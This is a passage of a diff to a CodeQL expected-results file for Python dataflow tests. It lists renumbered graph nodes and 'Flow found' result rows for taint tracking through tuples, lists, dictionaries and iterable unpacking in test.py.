for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:623:12:623:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:624:10:624:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:624:10:624:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:715:16:715:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:718:10:718:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | +| test.py:347:10:347:21 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:347:11:347:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:347:11:347:17 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:351:10:351:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:351:10:351:20 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:351:11:351:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:355:10:355:22 | ControlFlowNode for Dict [Dictionary element at key s] | semmle.label | ControlFlowNode for Dict [Dictionary element at key s] | +| test.py:355:10:355:27 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:355:16:355:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:378:10:378:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:378:28:378:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:386:10:386:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:386:30:386:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:394:10:394:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:394:10:394:43 | KwUnpacked b | semmle.label | KwUnpacked b | +| test.py:394:30:394:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:394:36:394:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:402:10:402:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | +| test.py:402:10:402:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:402:33:402:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:410:10:410:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | +| test.py:410:10:410:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:410:39:410:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:431:10:431:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:431:10:431:38 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | +| test.py:439:10:439:39 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | +| test.py:439:34:439:39 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:463:10:463:18 | ControlFlowNode for f() | semmle.label | ControlFlowNode for f() | +| test.py:463:12:463:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:470:10:470:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:470:28:470:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:484:10:484:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:484:30:484:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:498:10:498:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:498:10:498:43 | KwUnpacked b | semmle.label | KwUnpacked b | +| test.py:498:30:498:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:498:36:498:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:503:10:503:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | +| test.py:503:10:503:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:503:33:503:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:508:10:508:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | +| test.py:508:10:508:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:508:39:508:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:520:9:520:14 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:522:10:522:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:527:10:527:10 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | +| test.py:532:10:532:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:532:10:532:26 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:533:5:533:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:533:5:533:8 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:534:10:534:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:540:10:540:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:540:10:540:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:540:10:540:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:540:19:540:35 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:540:30:540:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:541:5:541:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:541:5:541:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:541:5:541:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:541:9:541:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:541:9:541:12 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | +| test.py:541:12:541:12 | SSA variable c | semmle.label | SSA variable c | +| test.py:542:10:542:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:544:10:544:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | +| test.py:549:9:549:33 | ControlFlowNode for List [List element, List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element, List element] | +| test.py:549:10:549:21 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | +| test.py:549:11:549:20 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:549:12:549:19 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:549:13:549:18 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:550:5:550:11 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | +| test.py:550:5:550:11 | IterableElement [List element, List element] | semmle.label | IterableElement [List element, List element] | +| test.py:550:5:550:11 | IterableSequence [List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element] | +| test.py:550:5:550:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | +| test.py:550:5:550:14 | IterableElement [List element, List element, List element] | semmle.label | IterableElement [List element, List element, List element] | +| test.py:550:5:550:14 | IterableSequence [List element, List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element, List element] | +| test.py:550:6:550:10 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:550:6:550:10 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:550:6:550:10 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:550:7:550:9 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:550:7:550:9 | IterableElement | semmle.label | IterableElement | +| test.py:550:7:550:9 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:550:8:550:8 | SSA variable a | semmle.label | SSA variable a | +| test.py:551:10:551:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:557:10:557:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:557:10:557:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:557:10:557:34 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:557:18:557:23 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:558:5:558:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:558:5:558:12 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:558:5:558:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:558:8:558:9 | IterableElement | semmle.label | IterableElement | +| test.py:558:8:558:9 | SSA variable b [List element] | semmle.label | SSA variable b [List element] | +| test.py:559:10:559:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:561:10:561:10 | ControlFlowNode for b [List element] | semmle.label | ControlFlowNode for b [List element] | +| test.py:561:10:561:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:567:10:567:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:567:11:567:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:567:12:567:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:567:31:567:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:567:40:567:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:567:41:567:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:570:6:570:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:570:6:570:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:570:6:570:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:570:7:570:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:570:7:570:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:570:7:570:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:570:7:570:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:570:7:570:16 | IterableElement | semmle.label | IterableElement | +| test.py:570:7:570:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:570:11:570:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:570:15:570:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:571:10:571:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:572:12:572:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:573:10:573:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:578:5:578:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:578:5:578:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:578:5:578:24 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:578:7:578:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:578:7:578:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:578:7:578:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:578:7:578:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:578:7:578:16 | IterableElement | semmle.label | IterableElement | +| test.py:578:7:578:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:578:11:578:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:578:15:578:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:579:10:579:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:580:12:580:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:581:10:581:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:586:6:586:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:586:6:586:17 | IterableElement | semmle.label | IterableElement | +| test.py:586:6:586:17 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:586:6:586:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:586:6:586:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:586:6:586:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:586:7:586:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:586:11:586:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:586:15:586:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:587:10:587:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:588:12:588:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:589:10:589:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:595:12:595:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:595:12:595:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:595:12:595:36 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:595:31:595:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:598:5:598:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:598:5:598:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:598:5:598:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:598:6:598:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:598:6:598:14 | IterableElement | semmle.label | IterableElement | +| test.py:598:6:598:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:598:7:598:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:598:11:598:13 | IterableElement | semmle.label | IterableElement | +| test.py:598:11:598:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:599:10:599:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:601:12:601:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:601:12:601:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:602:10:602:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:602:10:602:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:607:6:607:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:607:6:607:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:607:7:607:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:607:7:607:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:607:7:607:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:607:7:607:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:607:7:607:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | +| test.py:607:11:607:13 | IterableElement | semmle.label | IterableElement | +| test.py:607:11:607:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:608:10:608:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:610:12:610:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:610:12:610:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:611:10:611:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:611:10:611:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:616:5:616:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:616:5:616:19 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:616:5:616:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:616:5:616:19 | IterableElement [Tuple element at index 2] | semmle.label | IterableElement [Tuple element at index 2] | +| test.py:616:5:616:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:616:5:616:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 2] | +| test.py:616:7:616:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:616:7:616:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:616:7:616:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:616:7:616:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:616:7:616:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | +| test.py:616:11:616:13 | IterableElement | semmle.label | IterableElement | +| test.py:616:11:616:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:617:10:617:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:619:12:619:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:619:12:619:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:620:10:620:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:620:10:620:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:625:6:625:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:625:6:625:14 | IterableElement | semmle.label | IterableElement | +| test.py:625:6:625:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:625:6:625:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:625:7:625:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:625:11:625:13 | IterableElement | semmle.label | IterableElement | +| test.py:625:11:625:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:626:10:626:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:628:12:628:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:628:12:628:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:629:10:629:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:629:10:629:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:636:19:636:24 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:637:10:637:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:728:16:728:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:731:10:731:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | @@ -754,119 +758,121 @@ nodes | test.py:189:10:189:13 | ControlFlowNode for Subscript | test.py:188:25:188:30 | ControlFlowNode for SOURCE | test.py:189:10:189:13 | ControlFlowNode for Subscript | Flow found | | test.py:200:10:200:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:200:10:200:13 | ControlFlowNode for Subscript | Flow found | | test.py:200:10:200:13 | ControlFlowNode for Subscript | test.py:199:34:199:39 | ControlFlowNode for SOURCE | test.py:200:10:200:13 | ControlFlowNode for Subscript | Flow found | -| test.py:342:10:342:21 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:342:10:342:21 | ControlFlowNode for Subscript | Flow found | -| test.py:342:10:342:21 | ControlFlowNode for Subscript | test.py:342:11:342:16 | ControlFlowNode for SOURCE | test.py:342:10:342:21 | ControlFlowNode for Subscript | Flow found | -| test.py:346:10:346:20 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:346:10:346:20 | ControlFlowNode for Subscript | Flow found | -| test.py:346:10:346:20 | ControlFlowNode for Subscript | test.py:346:11:346:16 | ControlFlowNode for SOURCE | test.py:346:10:346:20 | ControlFlowNode for Subscript | Flow found | -| test.py:350:10:350:27 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:350:10:350:27 | ControlFlowNode for Subscript | Flow found | -| test.py:350:10:350:27 | ControlFlowNode for Subscript | test.py:350:16:350:21 | ControlFlowNode for SOURCE | test.py:350:10:350:27 | ControlFlowNode for Subscript | Flow found | -| test.py:373:10:373:34 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:373:10:373:34 | ControlFlowNode for second() | Flow found | -| test.py:373:10:373:34 | ControlFlowNode for second() | test.py:373:28:373:33 | ControlFlowNode for SOURCE | test.py:373:10:373:34 | ControlFlowNode for second() | Flow found | -| test.py:381:10:381:36 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:381:10:381:36 | ControlFlowNode for second() | Flow found | -| test.py:381:10:381:36 | ControlFlowNode for second() | test.py:381:30:381:35 | ControlFlowNode for SOURCE | test.py:381:10:381:36 | ControlFlowNode for second() | Flow found | -| test.py:389:10:389:43 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:389:10:389:43 | ControlFlowNode for second() | Flow found | -| test.py:389:10:389:43 | ControlFlowNode for second() | test.py:389:36:389:41 | ControlFlowNode for SOURCE | test.py:389:10:389:43 | ControlFlowNode for second() | Flow found | -| test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | test.py:397:33:397:38 | ControlFlowNode for SOURCE | test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | test.py:405:39:405:44 | ControlFlowNode for SOURCE | test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:426:10:426:38 | ControlFlowNode for IfExp | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:426:10:426:38 | ControlFlowNode for IfExp | Flow found | -| test.py:426:10:426:38 | ControlFlowNode for IfExp | test.py:426:10:426:15 | ControlFlowNode for SOURCE | test.py:426:10:426:38 | ControlFlowNode for IfExp | Flow found | -| test.py:434:10:434:39 | ControlFlowNode for IfExp | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:434:10:434:39 | ControlFlowNode for IfExp | Flow found | -| test.py:434:10:434:39 | ControlFlowNode for IfExp | test.py:434:34:434:39 | ControlFlowNode for SOURCE | test.py:434:10:434:39 | ControlFlowNode for IfExp | Flow found | -| test.py:458:10:458:18 | ControlFlowNode for f() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:458:10:458:18 | ControlFlowNode for f() | Flow found | -| test.py:458:10:458:18 | ControlFlowNode for f() | test.py:458:12:458:17 | ControlFlowNode for SOURCE | test.py:458:10:458:18 | ControlFlowNode for f() | Flow found | -| test.py:465:10:465:34 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:465:10:465:34 | ControlFlowNode for second() | Flow found | -| test.py:465:10:465:34 | ControlFlowNode for second() | test.py:465:28:465:33 | ControlFlowNode for SOURCE | test.py:465:10:465:34 | ControlFlowNode for second() | Flow found | -| test.py:479:10:479:36 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:479:10:479:36 | ControlFlowNode for second() | Flow found | -| test.py:479:10:479:36 | ControlFlowNode for second() | test.py:479:30:479:35 | ControlFlowNode for SOURCE | test.py:479:10:479:36 | ControlFlowNode for second() | Flow found | -| test.py:493:10:493:43 | ControlFlowNode for second() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:493:10:493:43 | ControlFlowNode for second() | Flow found | -| test.py:493:10:493:43 | ControlFlowNode for second() | test.py:493:36:493:41 | ControlFlowNode for SOURCE | test.py:493:10:493:43 | ControlFlowNode for second() | Flow found | -| test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | test.py:498:33:498:38 | ControlFlowNode for SOURCE | test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | test.py:503:39:503:44 | ControlFlowNode for SOURCE | test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:517:10:517:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:517:10:517:10 | ControlFlowNode for a | Flow found | -| test.py:517:10:517:10 | ControlFlowNode for a | test.py:515:9:515:14 | ControlFlowNode for SOURCE | test.py:517:10:517:10 | ControlFlowNode for a | Flow found | -| 